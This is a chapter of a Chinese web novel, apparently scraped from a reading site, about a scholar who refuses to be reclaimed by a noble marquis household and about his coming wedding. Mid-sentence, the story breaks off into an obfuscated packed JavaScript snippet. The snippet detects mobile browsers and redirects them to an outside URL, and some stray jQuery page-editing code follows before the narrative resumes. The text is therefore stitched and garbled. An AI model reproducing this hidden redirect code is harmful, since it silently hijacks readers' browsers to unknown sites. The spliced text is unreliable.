“就这么个破地方的穷酸书生，能有多了不起？”一脚踹上紧闭的院门，严若柏语气不耐，被人像猴子似的围观让他更加烦躁。


    “你这人怎么无缘无故踹别人家门！太无礼了！”村里人看不过去，对他指指点点。


    “侯府少爷又怎样？就能欺压平民老百姓了吗？”


    大概看出他来者不善，村民们转瞬忘记了严丛凛的身世八卦，纷纷打抱不平起来。


    严若柏没好气的盯着说话那人，他堂堂侯府公子何时受过这等乡野村夫的指责，少爷脾气一上来就要骂人，被一旁随行的李叔拦下，严若柏这才冷静些。


    李叔是大伯的人，老太太虽然拦下了大伯，但大伯不放心自己单独来接人，硬是派了自己的心腹跟着一起来。


    严若柏向来脾气暴躁张狂，却也不敢和大伯对着干，想起自己的来意，生生忍下这口气，不再搭理村民。


    “你们找错人了，我母亲并非你们口中的永安侯府逃妾，我也并非永安侯的儿子，请回吧。”二人本以为严丛凛得知自己的身世定然会欣喜若狂，迫不及待随他们入京，认祖归宗。毕竟严昊膝下仅严若松一个儿子，体弱多病的也不知道能活多久，若真认回永安侯府了，将来承袭爵位的未必不会是这从小流落在外的小子。


    为这严若柏才自告奋勇来的，否则谁管他一个奸生子是死是活是圆是扁。


    不曾想面前这小子竟然一口否认自己的身世，一副不愿与侯府沾上半点关系的模样。


    “承平十二年春，你母亲林如慧落水失踪，被人所救后当年冬天生下你，随后流落至此，来之前我们已经调查得清清楚楚，绝不会弄错的。”


    严若柏怀疑这小子莫不是个傻的，侯府都主动认他了他还矢口否认，难不成他们永安侯府是什么破烂都捡，什么野种都认的破落户？


    李叔自看到严丛凛起便一直留心打量他，他已有十足把握，这少年就是侯爷的儿子！这英俊的眉眼，挺拔的身姿，从容不迫的气质，他打定主意要将这位少爷请回去。


    殊不知，在严丛凛心中，永安侯府即便不是什么破落户也离崩塌不远了，他可不想被绑上这架注定会沉的破船。


    “同名同姓之人何其多，我父亲早已经在逃亡途中去世，并非什么永安侯爷。”


    “严公子，你可知道永安侯府代表着什么？你今日所言又拒绝了什么？”李叔观他言行似是真心不想同他们回京城，忍不住出声道。


    “不管代表什么，都与我母子二人无关。”严丛凛毫不犹豫。


    严若柏脑子转了又转，他本来也没多想让这小子回侯府，如今他自己主动拒绝，还有李叔从旁作证，那他回京复命也不怕被责怪怀疑了。


    虽然不知道他抽的什么疯，但是严若柏倒巴不得转身就走。


    李叔还不想放弃，府里大公子的身体状况他很清楚，作为侯爷的心腹，他当然希望侯爷这一脉越强势越好。根据打探来的消息，这严丛凛身在乡野，却才学过人，如今一见，不卑不亢，气度十足，实在是天生的上位者。


    “公子可是心中有何顾虑？”李叔劝说道，“侯爷本欲亲自前来，奈何朝中突发急事脱不开身，所以才由属下与二房长公子前来相接。来前侯爷便细细嘱咐，对公子与林夫人须尊敬有加，过去二位所受的委屈，来日侯爷定然好生弥补。”


    说完，看见一旁神情惶惑的林如慧，补充道，“包括林夫人，侯爷也已许下侧夫人之尊，只待您回京，日后便是侯府大房的侧夫人。”


    严丛凛没有说话，等着他母亲做决定，他相信，既然当初母亲宁死也不愿给他做妾，在外面过了这十几年贫苦但自由的日子之后，更不可能愿意回到那个牢笼里。


    “我，我不是什么侯府的侧夫人，大人，我真的不知道你们在说什么，方才我儿子已经告诉你们了，我夫君在我们一家三口逃荒时就已经去世，我一个普通平民女子，哪里认得侯爷这样的大人物呢？您二位真的找错人了。”


    林如慧强撑着，佯作镇定的说完这番话，心思也随着话音落下越发坚定。


    事情已经过去那么多年，她在京城的户籍早已经随着她跳河失踪而销掉，如今的户籍是来河西村之后在村长和田夫人帮助下重新登记的，只要她不认，严昊也不能如何。


    何况她都一把年纪了，严昊那人贪鲜爱色，搞这一出必然也不是为了她来的，既然儿子打定主意不愿认祖归宗，她不能拖儿子后腿。


    李叔又劝了许久，严若柏也假模假样的跟着明劝暗贬，最后被严家母子二人客气的请出去了。


    两人只得先回东山县城休整，顺便商议该怎么办。李叔思来想去仍是不愿放弃此行的目的，严若柏却已经倦了，不愿意再去吃闭门羹。


    “李叔，真不是你们查错了？我看那小子言之凿凿的样子，难道他真不是大伯的儿子？”否则哪有人会拒绝永安侯府这样的靠山。


    “不可能，若原本来时我还不确定，见到他的那刻我便肯定了，他就是侯爷的孩子。”他长得同年轻时候的侯爷实在太像了，何况那林夫人他也认得的，当初侯爷追着林夫人郎情妾意的时候他从头到尾跟着。


    “那如今怎么办？他就是不承认自己是大伯的儿子，难道我们还要强行把人抓走吗？”


    “他不是刚连中小三元吗，既然参加科举，那将来必然入京，我们先回去将此处情况禀报老夫人和侯爷，由侯爷定夺。”说到这儿，李叔更加看不懂这位严公子了，明明要走科举，有入朝堂的打算，却拒绝了永安侯府这样强力的背景，难道他以为科举入仕如此简单吗？


    “什么小三元？”严若柏一回到落榻的客栈便先睡了一觉，还没有出去过，“你是说这小子？”


    李叔虽不满他对公子的称呼，但也没说什么，只将自己方才出去打听的消息说了一遍，“来这儿一趟，总得将情况了解清楚，才好回去向侯爷禀报。”


    “那咱们赶紧走吧，这破地方我一天也待不下去了。”严若柏假意抱怨，实则心里却暗暗警惕，没想到这乡下小子还有几分能耐，这样一来更加不能让他回侯府了。


    严丛凛同姜知欢的亲事今日才定下，还没有对外透露，因此李叔并未打探到二人定亲的消息，只探听到曾经那些流言，但知道了也不以为意，侯府公子怎么能娶一乡下女子为妻，即便那女子家财万贯又如何？一样上不得台面，顶多纳为妾室罢了。


    于是，二人回到侯府之后，李叔并没有提及这一茬。


    即便如此，也把侯府众人气的够呛。


    “他当真如此说？”严若雪率先质问出声，她是府里最后一个得知消息的人，气的她立刻跑去找了颜夫人，在颜夫人那里，她知道了完整的经过，心疼母亲的同时对严丛凛母子也是厌恶到了极点。


    “既然他对咱们侯府这样不稀罕，那就让他自己在外面混着好了，不识抬举。”严若雪说完这话，拿眼瞅着祖母。


    祖母最是在乎侯府体面的，再想要认回这个孙子想必也不会喜欢他如此行事的。


    “岂有此理！我堂堂永安侯府的血脉怎能流落在外？他难道不清楚咱们侯府的地位？”


    “回老夫人，属下已将利害关系全部告知，且林夫人也在场，严公子应当清楚认祖归宗于他意义重大。”李叔正色道，心里却暗自琢磨，若严公子回府来，那他就成大公子了，松少爷这嫡少爷便是二公子了，颜夫人能忍？


    颜玉清冷眼看着堂下，不理会妯娌那看好戏的眼神，从上次严昊将她禁足，她在这府中的体面早就没了，但事关松儿的地位，和那个野种，她不能置身事外。


    “果然是乡下长大的，既不知礼也不懂规矩，老夫人都亲自派人去接了，非但不领情，还做这般姿态拿乔，母亲，我看他这怕是在欲擒故纵，想要试探咱们侯府的底线，莫不是要老夫人亲自去请？”


    “放肆！”老夫人闻言半点不留情面的呵斥，“去请侯爷过来。”


    “母亲，”李叔一回府就已经向严昊汇报了所有情况，他心中也正恼火，听到老夫人相请，便立刻过来，“何故如此生气？”


    严昊心知肚明，不着痕迹的睨了颜夫人一眼，她怕是也没少添油加醋。


    “外面人不懂规矩你瞪你媳妇做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863957|173023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么！”老夫人对前些日子大房两夫妻的口角也有所耳闻，心中并不觉得是多大个事，但是侯府当家女主人该给的体面还是得给，外人面前自曝家丑算什么事。


    颜夫人眼观鼻鼻观心，并不承她的情，老太太也了解她的性子，并不与她计较。


    “我看呐，严丛凛认祖归宗之事还是暂时先缓缓吧，瞧他不情不愿的模样，想必定是林氏同他胡乱说了些什么，以至于他心中有怨，不肯认你这个爹。”当初侯爷年轻气盛做的那些个事确实不好听，林氏心中怨恨也是应该的。


    只是既然已经是侯爷的人了，还怀了侯爷的孩子，不想着好好拢住男人的心，倒要学着人家做什么贞洁烈妇，寻死觅活的。老夫人最讨厌软弱无能之人。


    “请母亲恕罪，都是儿子的不是。可是他母子二人流落在外多年，不知吃了多少苦，听说那小子生在乡野却才华出众，连中小三元，实乃天纵之才。”


    想起这些严昊心中对林氏那点不满全没了，给他生了如此优秀健康的儿子，已足够弥补她的所有错处。


    “再是出众，与侯府不是一条心又有何益处？”老太太还是心有不满。


    “那母亲以为应当如何？”严昊听出老太太的态度坚决，从善如流的改口，反正已经找到他们母子了，暂时在乡下也无妨，就如李旺所说，他参加科举，总会到京城来的。


    “依我看呐，先晾他一晾，多见见外面的世界，他便知道侯府公子的身份到底意味着什么，他拒绝的是何等的财富地位了。”


    整天待在那乡下地方，没见识没眼界，连侯府门朝哪边开都不知道的小子，“碰碰壁才知道背靠大树好乘凉。”


    “那就依母亲所言吧。”尽管心中不满，严昊仍是按耐住，同意了老太太的说法。


    颜夫人闻言垂下眼睑，既然现在不愿意回来，那以后都别回来好了。


    严若雪撇撇嘴，对自己哥哥挤挤眼，那不屑之色要溢出眼眶了，严若松只是静静地听着长辈们谈话，心中百转千回又无声叹息，见到妹妹生气的模样，只是无奈摇头。


    *


    河西村


    严丛凛赶走了京城来人之后便全部抛之脑后，他如今满心满眼只有他和姜知欢的婚事。


    村里人隔了几日才从与严家关系较好的张婶翠华婶子等人嘴里得知，有那不信的还特地跑到严家问林如慧，“严娘子，听说你家严小子和姜小姐定亲了？”


    问这话时这人还小心翼翼的，生怕被严氏拿着扫帚追打，之前黄氏被她追着打的模样他可还记得，平时温温柔柔的人一旦发起火来那可真是吓人。


    “是啊，到时候大家都来喝喜酒啊。”林如慧笑着承认。


    那黄氏之前传的不是谣言啊？！这人话到嘴边却又咽了回去，就算黄氏说的是真的又如何，如今的严丛凛可不是他们能随意编排的，何况人家现在可是田夫人的乘龙快婿，嗐。


    这人道了喜便颠颠儿的跑去跟大家宣扬，这下可算是全村都知道了。有那细心观察的，早就发现了两人的来往过于频繁，得知这消息，不免自得，“我说什么来着？他俩呀，就是郎有情妾有意的！”


    “可是不是说那严丛凛是什么侯府的少爷吗？这身份跟以前可不一样了。”以前即便他考中秀才，也才与姜小姐可堪相配，这家世背景一出，姜家那点财富怕是又不够看了。


    “对哦，而且姜小姐又有那么个命衰且短的毛病在。”


    “前脚刚定亲后脚京城就来人了，这，严家不会悔婚吧？”


    “严娘子可不是那种人！严家那小子瞧着也不像是背信弃义的人啊，不过也说不准，万一京城那边不认，能咋办？就田夫人那脾气，也不能让姜小姐做小啊！”


    “想什么呢？严丛凛不都拒绝京城来的人了吗？看他信誓旦旦那样子，八成是真找错人了，不然他还能不认自己亲爹？”


    “也对，咱们啊，等着吃席就是了。”


    就在这样热火朝天的喧闹起哄中，迎来了严丛凛盼望两世的婚礼。


    妙法大师看好的日子，九月十五。


    “大吉。”